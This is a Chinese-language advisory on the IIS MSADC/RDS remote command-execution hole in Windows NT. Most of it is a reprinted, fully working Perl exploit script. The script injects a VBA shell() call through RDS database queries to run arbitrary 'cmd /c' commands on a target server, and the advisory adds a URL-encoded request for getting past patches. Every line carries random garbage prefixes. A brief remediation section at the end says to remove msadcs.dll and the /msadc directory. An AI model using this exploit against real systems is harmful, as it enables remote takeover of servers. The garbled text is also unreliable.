IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
fYuJf,I[f j_L 'Ztu3 涉及程序：
[kt!\ - Microsoft NT server
9Y&n$svB z~L4BY @z 描述：
M+gQN}BAr 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;'` T up=4 B 详细：
d8C?m*3 J 如果你没有时间读详细内容的话，就删除:
%+L:Gm+^g# c:\Program Files\Common Files\System\Msadc\msadcs.dll
U8c0N<j 有关的安全问题就没有了。
J*-m!0 5 hvtg_w6 K 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
6|V713\ 1/j J;}
1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
eZ[CqUJ& 关于利用ODBC远程漏洞的描述，请参看:
^cZF#%k 9jDV]!N4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +6B(LPxgP 6^H64 jM 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
2IFri|;-eb http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^ ' lx5+- e#:.JbJ:D 这里不再论述。
UAFl+d! vd|PTHV_ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
<T)9mJYr I+kGEHO} /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
V()s ! w 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
<*V%!pwIG yH;=Y1([ MBIt)d@Ix #将下面这段保存为txt文件，然后: "perl -x 文件名"
N|O/3:P<,U }y(1mzb #!perl
g;i>nzf #
<ap%+(!I # MSADC/RDS 'usage' (aka exploit) script
^o,P>u!9 #
V k5}d[[l # by rain.forest.puppy
f$Nz).( #
P p7}|/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|#D3~au
# beta test and find errors!
Dkay k EA7 8& use Socket; use Getopt::Std;
7"yA~e,l getopts("e:vd:h:XR", \%args);
skh 6L!6*< b/: 9^ &z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
v?,_SVgAi G%Hr c if (!defined $args{h} && !defined $args{R}) {
%{!*)V\ print qq~
^GQ+,0Yy Usage: msadc.pl -h <host> { -d <delay> -X -v }
BD&Jb H!( -h <host> = host you want to scan (ip or domain)
3V?JX5X\ -d <seconds> = delay between calls, default 1 second
]{jdar^ -X = dump Index Server path table, if available
Rb
Jl; -v = verbose
oTS*k:
C' -e = external dictionary file for step 5
luACdC Obgn?TAVX Or a -R will resume a command session
N\ChA]Ck NTASrh ~; exit;}
q(p]6Ha| H5'/i; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'h53:?~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
z|^:1ov , if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3,DUT{2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\HF|&@}hU $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
w! ,~#hbt6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}b)7gd= &m& Z^CA if (!defined $args{R}){ $ret = &has_msadc;
`wj<d>m die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
KC9_H> %JeT,{ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
ekND>Qjj . "cmd /c ";
5 ,cq-` $in=<STDIN>; chomp $in;
y!&6"l$K] $command="cmd /c " . $in ;
.aV#W@iyK Eyv%"+> if (defined $args{R}) {&load; exit;}
u|&"l as=Z_a:0N print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
0 "o% =i; &try_btcustmr;
w[}5qAI5*f Jte: U*2 print "\nStep 2: Trying to make our own DSN...";
KV0M^B|W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2kzm(K s_S[iW`l= print "\nStep 3: Trying known DSNs...";
Vr@I9W;D# &known_dsn;
\B/ +.\ VRQ'sn@ print "\nStep 4: Trying known .mdbs...";
[0<N[KZ) &known_mdb;
T}d% X MXq P& @ 2DI3m if (defined $args{e}){
i}"Eu<
P print "\nStep 5: Trying dictionary of DSN names...";
1O3"W;SR<: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_; /o nM LI1OocY.] print "Sorry Charley...maybe next time?\n";
}c|)i,bL exit;
2XI%z4\)! UfIH!6Q ##############################################################################
D@A@5pvS 70hm9b-
sub sendraw { # ripped and modded from whisker
VN6h:-&iY sleep($delay); # it's a DoS on the server! At least on mine...
0aj4.H*% my ($pstr)=@_;
gg
$/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
TR}ztf[e die("Socket problems\n");
^h
#0e:7< if(connect(S,pack "SnA4x8",2,80,$target)){
7%DA0.g select(S); $|=1;
"I+71Ce print $pstr; my @in=<S>;
}TE4)vXs select(STDOUT); close(S);
7vO3+lT/Y; return @in;
S bI 7<_ } else { die("Can't connect...\n"); }}
uvC ![j^~ 9jW/" ##############################################################################
M9so3L<N0 $fZVh% sub make_header { # make the HTTP request
w6FtDl$ my $msadc=<<EOT
P(AcDG6K POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
v d A 3 User-Agent: ACTIVEDATA
U? BuV Host: $ip
v3>jXf Content-Length: $clen
$0+n0*fp Connection: Keep-Alive
$bSnbU < #fdQ\)#q> ADCClientVersion:01.06
o^HzE;L} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_U U- |h Gi8 --!ADM!ROX!YOUR!WORLD!
kD1[6cJ!=. Content-Type: application/x-varg
<E/" v Content-Length: $reqlen
Y6<"_ 93I.Wp_{ EOT
'KL!)}B$h ; $msadc=~s/\n/\r\n/g;
RO H 2KSt return $msadc;}
vhsHyb )/uu~9SFd ##############################################################################
v:.`~h/b U4PnQ
K, sub make_req { # make the RDS request
-hv<8bC~4 my ($switch, $p1, $p2)=@_;
sUl/9VKl my $req=""; my $t1, $t2, $query, $dsn;
3jx5Lou)& Z'/sZ3Q} if ($switch==1){ # this is the btcustmr.mdb query
RC{|:@]8 $query="Select * from Customers where City=" . make_shell();
6IRzm6d $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
.zDm{_' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
";vP77|m7R )S~ySiJ< U elsif ($switch==2){ # this is general make table query
oW7\T !f $query="create table AZZ (B int, C varchar(10))";
{Ee[rAVGp $dsn="$p1";}
lJ y\Ky(* d^-sxl3} elsif ($switch==3){ # this is general exploit table query
8<#S:O4kA $query="select * from AZZ where C=" . make_shell();
oY;=$8y<q $dsn="$p1";}
b @9>1d$ $ /R r|< elsif ($switch==4){ # attempt to hork file info from index server
L` "B;a& $query="select path from scope()";
sl PLc $dsn="Provider=MSIDXS;";}
t^ax:6;"|
a@mMa { elsif ($switch==5){ # bad query
3/d`s0O $query="select";
$K-od3h4= $dsn="$p1";}
r* I u6 g+ZQ6 Hz $t1= make_unicode($query);
*(c><N $t2= make_unicode($dsn);
Cx,) $!1 $req = "\x02\x00\x03\x00";
dJ/(u&N $req.= "\x08\x00" . pack ("S1", length($t1));
#}y(D{z c $req.= "\x00\x00" . $t1 ;
P/9iB/ $req.= "\x08\x00" . pack ("S1", length($t2));
) TH~Tq: $req.= "\x00\x00" . $t2 ;
h
7x_VO $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
)wFr%wNe return $req;}
"V7
SB s01W_P .@R ##############################################################################
> S]_{pb U`25bb1W j sub make_shell { # this makes the shell() statement
H6fR6Kr4j return "'|shell(\"$command\")|'";}
XMJ EIG (j*1sk ##############################################################################
. PAR 4I %/}+Q sub make_unicode { # quick little function to convert to unicode
=A yDVWpE my ($in)=@_; my $out;
335\0~;3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
aM2[<m} return $out;}
*Y!c6eA 9bE/7v ##############################################################################
zG%ZDH^82_ 'OERW|BO sub rdo_success { # checks for RDO return success (this is kludge)
cbHb!L bg my (@in) = @_; my $base=content_start(@in);
ueimTX k if($in[$base]=~/multipart\/mixed/){
yEvuTgDv return 1 if( $in[$base+10]=~/^\x09\x00/ );}
DnY7$']"| return 0;}
(txr%Z0E 9gS.G2 ##############################################################################
N3C 8% J 3;dR W sub make_dsn { # this makes a DSN for us
3 J{hG( 5 my @drives=("c","d","e","f");
}3rWmo8V print "\nMaking DSN: ";
%\uEV foreach $drive (@drives) {
O7KR~d print "$drive: ";
c"<bq}L7S my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
v<2B^(i}VB "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
"?[7oI}c& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$h CPmiI $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?n]e5R(cj return 0 if $2 eq "404"; # not found/doesn't exist
,pc\
)HR if($2 eq "200") {
IQ9jTkW l foreach $line (@results) {
ku `bwS return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
J &<uP)< } return 0;}
4h zS q^.\8zFf ##############################################################################
GiF})e} 0 2_ 3 7!\ sub verify_exists {
vU|.Gw my ($page)=@_;
%uV bI'n) my @results=sendraw("GET $page HTTP/1.0\n\n");
6Eu&%` return $results[0];}
@ Z50S 8 s </ll J$ ##############################################################################
K% Gbl# I,0]> k x sub try_btcustmr {
#9 F e, my @drives=("c","d","e","f");
TLkJZ4}?Q my @dirs=("winnt","winnt35","winnt351","win","windows");
>Za66<: qL \*rYe< foreach $dir (@dirs) {
HJ\CGYmyz print "$dir -> "; # fun status so you can see progress
2k^dxk~$V; foreach $drive (@drives) {
qtv>`:neB print "$drive: "; # ditto
FyZ iiH4| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
zF
F=v7[j $reqlenlen=length( "$reqlen" );
j5cc"s $clen= 206 + $reqlenlen + $reqlen;
_ `Abz2s ;7F|g my @results=sendraw(make_header() . make_req(1,$drive,$dir));
H$
sNp\[{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
.W>8bg'u9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
7%(|)3"V V
r0-/T ##############################################################################
D(GAC!|/] X>
*o\ sub odbc_error {
F! |?S: X my (@in)=@_; my $base;
$B
iG7,[# my $base = content_start(@in);
jgr2qSU C if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>QusXD"L> $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x_&m$Fh $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^1% gQ@ P $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M?UlC
return $in[$base+4].$in[$base+5].$in[$base+6];}
OoFQ@zE7% print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
c0 H8FF3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Qbc62 qFu! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
L-ZJ[#D EmDA\9~@R ##############################################################################
mQ9%[U, \E'Nk$V3 sub verbose {
`P `n qn my ($in)=@_;
:*2+ t- return if !$verbose;
l; e&p${P print STDOUT "\n$in\n";}
lRn6Zh J-W, ^% ##############################################################################
Y=gj{]4 ] c8 $% sub save {
6g ,U+~ my ($p1, $p2, $p3, $p4)=@_;
$Xlyc.8YId open(OUT, ">rds.save") || print "Problem saving parameters...\n";
r|Y|u v 0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
tk^1Ga3 close OUT;}
/WDz;, X cZRLYOC ##############################################################################
r: _- Cj cVZC BcKC? sub load {
ZS uMQ32 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;z9( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
NVnKgGlHgd @p=<IN>; close(IN);
/HNZwbh]uJ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"9[K $target= inet_aton($ip) || die("inet_aton problems");
>4d2IO1\ print "Resuming to $ip ...";
MwxfTH"wi $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
z]k=sk if($p[1]==1) {
Ne]/ sQ0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
; y#6Nx,: $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-=E/_c; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
yG0Wr=/<? if (rdo_success(@results)){print "Success!\n";}
mI=^7 'Mk else { print "failed\n"; verbose(odbc_error(@results));}}
b'$j* N elsif ($p[1]==3){
;8 ~`fK if(run_query("$p[3]")){
XR^VRn6O print "Success!\n";} else { print "failed\n"; }}
A
a2*f[ elsif ($p[1]==4){
r +]
J {k if(run_query($drvst . "$p[3]")){
blZiz2F print "Success!\n"; } else { print "failed\n"; }}
(n-8p6x( exit;}
IbpE@C N(?yOB4gt ##############################################################################
%iI0JF*E z Z6&s 6M F sub create_table {
=+{.I,g}g@ my ($in)=@_;
tUq* -9
V $reqlen=length( make_req(2,$in,"") ) - 28;
}6]V*Kn, $reqlenlen=length( "$reqlen" );
2#'[\*2|N $clen= 206 + $reqlenlen + $reqlen;
?6
my @results=sendraw(make_header() . make_req(2,$in,""));
#K7i<Bf return 1 if rdo_success(@results);
!MB % my $temp= odbc_error(@results); verbose($temp);
&7 }!U return 1 if $temp=~/Table 'AZZ' already exists/;
OwP 9=9}; return 0;}
L%a ni}V tg~&kaz ##############################################################################
N DB ]8C yZ,k8TJ", sub known_dsn {
`n:IXD5' # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
A.v cE my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)_T[thf] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Sv -}w$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
a#1LGH7E8 1vu4}%nD foreach $dSn (@dsns) {
h*h V print ".";
yXN E2K next if (!is_access("DSN=$dSn"));
] Bs ? if(create_table("DSN=$dSn")){
5;V#Z@S print "$dSn successful\n";
$*%Ml+H- if(run_query("DSN=$dSn")){
uL b-
NxQ- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dUn8Xqj1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
o})4Jt1vj -!MDYj +U ##############################################################################
ew4 IAF @hm %0L sub is_access {
`h S<F"
j my ($in)=@_;
8N(bL GUG $reqlen=length( make_req(5,$in,"") ) - 28;
*|Re,cY $reqlenlen=length( "$reqlen" );
~0fT*lp $clen= 206 + $reqlenlen + $reqlen;
UhY
)rezh my @results=sendraw(make_header() . make_req(5,$in,""));
3WJ> T1we my $temp= odbc_error(@results);
v?<x"XKR verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Pp GNA return 0;}
q y y.3-( ~ u8}s4 ##############################################################################
aQN`C {nY #rV=! j|| sub run_query {
/[[zAq{OA my ($in)=@_;
N)RWC7th{ $reqlen=length( make_req(3,$in,"") ) - 28;
9Pd~ $reqlenlen=length( "$reqlen" );
% @Ks<"9 $clen= 206 + $reqlenlen + $reqlen;
fB"3R-H?O my @results=sendraw(make_header() . make_req(3,$in,""));
~>D;2 S(a return 1 if rdo_success(@results);
d"XS;;l%< my $temp= odbc_error(@results); verbose($temp);
t2OXm return 0;}
Rv q_ Zsm GU'5`Yzd9 ##############################################################################
;lX: EU D{. %Dr? sub known_mdb {
z.Y7 u3K.8 my @drives=("c","d","e","f","g");
$Miii`VS9 my @dirs=("winnt","winnt35","winnt351","win","windows");
$2>tfKhtA my $dir, $drive, $mdb;
2>fG}qYy$ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wXZ . D}d yixW>W} # this is sparse, because I don't know of many
lIzJO$8cM my @sysmdbs=( "\\catroot\\icatalog.mdb",
[p!C+ |rro "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
gKb 4n
Nt "\\system32\\certmdb.mdb",
K;6K!6J:[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2I ?HBz1v j#&sZ$HQ4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4>Uo0NfL "\\cfusion\\cfapps\\forums\\forums_.mdb",
l(=#c/f "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
e^&YQl "\\cfusion\\cfapps\\security\\realm_.mdb",
PBn(k>=+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
(fh:q 2E# "\\cfusion\\database\\cfexamples.mdb",
":7cZ1VN2 "\\cfusion\\database\\cfsnippets.mdb",
8<!qT1 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
c#"\&~. P "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
_5
t w1 > "\\cfusion\\brighttiger\\database\\cleam.mdb",
5B2x#
m|8 "\\cfusion\\database\\smpolicy.mdb",
-#gb {vj "\\cfusion\\database\cypress.mdb",
ZF W}Vnl "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#4na>G| "\\website\\cgi-win\\dbsample.mdb",
TWx<) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
YXI DqTA+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^ ?tAt3dMI ); #these are just
XN=<s;U foreach $drive (@drives) {
5\=9&{WjND foreach $dir (@dirs){
t s ?b[v foreach $mdb (@sysmdbs) {
K:y q^T7 print ".";
crgYr$@s? if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
[b#jw,7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
p6Z]oL q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
i $I|JJ J print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
:-"J)^V } else { print "Something's borked. Use verbose next time\n"; }}}}}
ziH2<@ j~Gu;%tq foreach $drive (@drives) {
bq(*r:`" foreach $mdb (@mdbs) {
g=U?{<8.m print ".";
X'?v8\mPK if(create_table($drv . $drive . $dir . $mdb)){
&2xYG{Z print "\n" . $drive . $dir . $mdb . " successful\n";
@bqCs^U35 if(run_query($drv . $drive . $dir . $mdb)){
p*npY"}v print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
YSa: "A } else { print "Something's borked. Use verbose next time\n"; }}}}
.k*2T<p$rC }
\o
% ES r `B+ KQ4 ##############################################################################
e#nTp b f2yv7t
T sub hork_idx {
_ZS<z Q' print "\nAttempting to dump Index Server tables...\n";
X! 2|_ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
}SN'*w@E $reqlen=length( make_req(4,"","") ) - 28;
oTa! F;I $reqlenlen=length( "$reqlen" );
gA[ M $clen= 206 + $reqlenlen + $reqlen;
4 l $8 lYi my @results=sendraw2(make_header() . make_req(4,"",""));
ycE<7W if (rdo_success(@results)){
"5 y^s !/ my $max=@results; my $c; my %d;
(QRl
-| + for($c=19; $c<$max; $c++){
#[[p/nAy}A $results[$c]=~s/\x00//g;
$Ilr.6'; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
=u'/\nxCF $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
bZG$ biq $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
u-K 5 $d{"$1$2"}="";}
hPk+vvXtK foreach $c (keys %d){ print "$c\n"; }
.8 6..1 } else {print "Index server doesn't seem to be installed.\n"; }}
A.h?#%TLL Xj@Kt|&`k ##############################################################################
=0f8W=d:Vr { a_L
/"7 sub dsn_dict {
C,< T Am open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_:K}DU'6 while(<IN>){
jU#%@d6!# $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
nb|MHt PX next if (!is_access("DSN=$dSn"));
`nM4kt7 if(create_table("DSN=$dSn")){
' P Yl%2 print "$dSn successful\n";
3)-#yO r if(run_query("DSN=$dSn")){
CTP% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cq=R print "Something's borked. Use verbose next time\n";}}}
}>1E,3A:%G print "\n"; close(IN);}
i,<-+L$z U)PumU+z$u ##############################################################################
0Gs] >B4r/ b
g D Dys sub sendraw2 { # ripped and modded from whisker
3AL.UBj&} sleep($delay); # it's a DoS on the server! At least on mine...
$I/ p 6 my ($pstr)=@_;
Y$Ke{6 4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/vV 0$ vg die("Socket problems\n");
vOj$-A--qU if(connect(S,pack "SnA4x8",2,80,$target)){
d{trO;%#f print "Connected. Getting data";
LtU+w*Gj open(OUT,">raw.out"); my @in;
wS^-o select(S); $|=1; print $pstr;
v6n(<0: while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
T*ic?! close(OUT); select(STDOUT); close(S); return @in;
^\6UTnS. } else { die("Can't connect...\n"); }}
w:N2
x I >I!(CM":s$ ##############################################################################
zc{C+:3$^ "D/ fB%h` sub content_start { # this will take in the server headers
-s 1VlS/ my (@in)=@_; my $c;
8 (I"C$D!k for ($c=1;$c<500;$c++) {
z? aD Oh if($in[$c] =~/^\x0d\x0a/){
@g j5' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
NAU<?q<) else { return $c+1; }}}
gi6_la+ return -1;} # it should never get here actually
+vnaEy dkLR
Q
##############################################################################
*,pqpD> h`Mf;'P sub funky {
p (8\w-6 my (@in)=@_; my $error=odbc_error(@in);
:R n9rdX if($error=~/ADO could not find the specified provider/){
xle29:?l print "\nServer returned an ADO miscofiguration message\nAborting.\n";
] QEw\4M?= exit;}
c 9[5) if($error=~/A Handler is required/){
9x1Dyz 2?F print "\nServer has custom handler filters (they most likely are patched)\n";
Z4!3I@yZ exit;}
|eqDT ,4 if($error=~/specified Handler has denied Access/){
r=`>'3
} x print "\nServer has custom handler filters (they most likely are patched)\n";
8B+uNN~%] exit;}}
gkdjH8(2 72 6y/o ##############################################################################
;$i'A&)OC )/JC.d# sub has_msadc {
a=O !\J my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
6p@ts`# my $base=content_start(@results);
%xRS9A 4 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^n]s}t}csV return 0;}
l rzW H0Q 3{l"E(qqZ ########################
0{yx*}. U&XoT-p$L ]VME`]t` 解决方案：
1}pR')YL[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
'FhnSNT(4= 2、移除web 目录: /msadc
